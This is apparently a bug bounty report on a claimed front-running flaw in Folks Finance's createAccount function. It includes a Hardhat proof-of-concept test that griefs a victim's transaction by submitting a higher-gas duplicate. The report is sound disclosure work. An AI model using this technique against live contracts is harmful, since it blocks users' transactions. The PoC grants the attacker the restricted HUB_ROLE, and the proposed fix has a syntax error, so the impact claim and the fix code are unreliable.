Boost _ Folks Finance 33614 - [Smart Contract - Medium] Front-Running Vulnerability in createAccount

Submitted on Wed Jul 24 2024 14:54:47 GMT-0400 (Atlantic Standard Time) by @chista0x for Boost | Folks Finance

Report ID: #33614

Report type: Smart Contract

Report severity: Medium

Target: https://testnet.snowtrace.io/address/0x3324B5BF2b5C85999C6DAf2f77b5a29aB74197cc

Impacts:

• Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

The createAccount method in the protocol's contract is vulnerable to a front-running attack. A malicious user can exploit this by observing a pending transaction and submitting their own transaction with the same accountId but with a higher gasPrice, causing the victim's transaction to be reverted due to the account ID already being in use.

Vulnerability Details

The createAccount function currently checks if an accountID is already created and reverts the transaction if it is. However, this implementation allows a malicious user to front-run a legitimate user's account creation request by submitting a transaction with the same accountId but with a higher gasPrice. This results in the attacker's transaction being processed first, and the legitimate user's transaction being reverted due to the account ID collision.

The relevant code snippet from the createAccount method is:

contract AccountManager is IAccountManager, AccessControlDefaultAdminRules {

    /// @notice Mapping of accounts to whether they are created
    mapping(bytes32 accountId => bool isCreated) internal accounts;

    /// @notice Mapping of account to addresses on spoke chains which will/are/have been able to manage the account
    mapping(bytes32 accountId => mapping(uint16 chainId => AccountAddress)) internal accountAddresses;

    /// @notice Mapping of addresses on spoke chains to the accountId they are registered to
    mapping(bytes32 addr => mapping(uint16 chainId => bytes32 accountId)) internal registeredAddresses;

    /// @notice Mapping of account to addresses on hub chain which are permitted to manage the account
    mapping(bytes32 accountId => mapping(address => bool isDelegated)) internal accountDelegatedAddresses;

    ...

    function createAccount(
        bytes32 accountId,
        uint16 chainId,
        bytes32 addr,
        bytes32 refAccountId
    ) external override onlyRole(HUB_ROLE) {
        // check account is not already created (empty is reserved for admin)
        if (isAccountCreated(accountId) || accountId == bytes32(0)) revert AccountAlreadyCreated(accountId);

        // check address is not already registered
        if (isAddressRegistered(chainId, addr)) revert AddressPreviouslyRegistered(chainId, addr);

        // check referrer is well defined
        if (!(isAccountCreated(refAccountId) || refAccountId == bytes32(0)))
            revert InvalidReferrerAccount(refAccountId);

        // create account
        accounts[accountId] = true;
        accountAddresses[accountId][chainId] = AccountAddress({ addr: addr, invited: false, registered: true });
        registeredAddresses[addr][chainId] = accountId;

        emit CreateAccount(accountId, chainId, addr, refAccountId);
    }

    ...

    function isAccountCreated(bytes32 accountId) public view override returns (bool) {
        return accounts[accountId];
    }

}

Impact Details

This vulnerability can be exploited by a malicious user to prevent legitimate users from creating new accounts on the protocol. By continuously front-running transactions, an attacker could effectively block all new account creation attempts, causing significant disruption to the protocol's user base.

Recommendation

To mitigate this vulnerability, it is recommended to generate the accountId using a seed provided by the user and the sender's address. This can be achieved by hashing the seed and the address together, preventing attackers from predicting or replicating the accountId.

Proposed code change:

function createAccount(bytes32 seed, uint16 chainId, bytes32 addr, bytes32 refAccountId)
) external override onlyRole(HUB_ROLE) {
    bytes32 accountId = keccak256(abi.encode(seed, addr));

    // existing logic...
}

References

• AccountManager.sol on GitHub

Proof of concept

Proof of Concept (POC)

The following test simulates a front-running attack. The attacker submits a transaction with a higher gas price, causing the legitimate user's transaction to be reverted.

Add the code to the test\hub\AccountManager.test.ts

  describe("CreateAccount Front-Running", () => {
    it("Chista0x-Front-Running-CreateAccount Should fail to create account when account id already in use", async () => {
      const { hub, unusedUsers, accountManager, spokeChainId, refAccountId } =
        await loadFixture(createAccountFixture);

      const victim_Addr = convertEVMAddressToGenericAddress(unusedUsers[0].address);
      const attacker_Addr = convertEVMAddressToGenericAddress(unusedUsers[1].address);

      // Just for change nonce that simulate front-running
      await accountManager.grantRole(HUB_ROLE, unusedUsers[0]);
      await accountManager.grantRole(HUB_ROLE, unusedUsers[1]);

      const accountId_Same: string = getAccountIdBytes("ACCOUNT_ID_Same");
      expect(await accountManager.isAccountCreated(accountId_Same)).to.be.false;


      // set the mining behavior to false, so the transaction will be collected in the mempool, before finalization
      await network.provider.send("evm_setAutomine", [false]);

      // Victim made the transaction for create account with new account id
      const createAccount_victim = await accountManager.connect(unusedUsers[0])
      .createAccount(accountId_Same, spokeChainId, victim_Addr, refAccountId,
        { gasLimit: 500000, gasPrice: ethers.parseUnits("100", "gwei") });
      console.log("Victim TX Hash = ", createAccount_victim.hash);

      // attacker create front-running for victim transaction with same accountId (send trx with higher gasPrice)
      const createAccount_attacker = await accountManager.connect(unusedUsers[1])
      .createAccount(accountId_Same, spokeChainId, attacker_Addr, refAccountId,
        { gasLimit: 500000, gasPrice: ethers.parseUnits("101", "gwei") });
      console.log("Attacker TX Hash = ", createAccount_attacker.hash);

      const pendingBlock = await network.provider.send("eth_getBlockByNumber", [
        "pending", 
        false, 
      ]);
      console.log("\n Pending Transactions = " , pendingBlock.transactions);

      // Manually create a block with the pending transactions
      await network.provider.send("evm_mine", []);

      // verify account is created
      expect(await accountManager.isAccountCreated(accountId_Same)).to.be.true;

      expect(createAccount_attacker)
      .to.emit(accountManager, "CreateAccount")
      .withArgs(accountId_Same, spokeChainId, attacker_Addr, refAccountId);

      expect(createAccount_victim)
      .to.be.revertedWithCustomError(accountManager, "AccountAlreadyCreated") 
      .withArgs(accountId_Same);

      expect(await accountManager.isAddressRegisteredToAccount(accountId_Same, spokeChainId, attacker_Addr)).to.be.true; // true
      expect(await accountManager.isAddressRegisteredToAccount(accountId_Same, spokeChainId, victim_Addr)).to.be.false; // false
    });
  });

To run the test, use the following command:

npx hardhat test --grep "Chista0x-Front-Running-CreateAccount"

Sample test output:

$ npx hardhat test --grep "Chista0x-Front-Running-CreateAccount"

  AccountManager (unit tests)
    CreateAccount Front-Running
Victim TX Hash =  0x78f826e948b8b3f07c1d2ae47716b0d337380f0ed5c72cca2cc78ce6c6eb7c45
Attacker TX Hash =  0x7ff4d7559af3511fe1534ec3e95a6513938d0c5f700af2d26ece636ee608d565

 Pending Transactions =  [
  '0x7ff4d7559af3511fe1534ec3e95a6513938d0c5f700af2d26ece636ee608d565',
  '0x78f826e948b8b3f07c1d2ae47716b0d337380f0ed5c72cca2cc78ce6c6eb7c45'
]
      ✔ Chista0x-Front-Running-CreateAccount Should fail to create account when account id already in use (3024ms)

  1 passing (3s)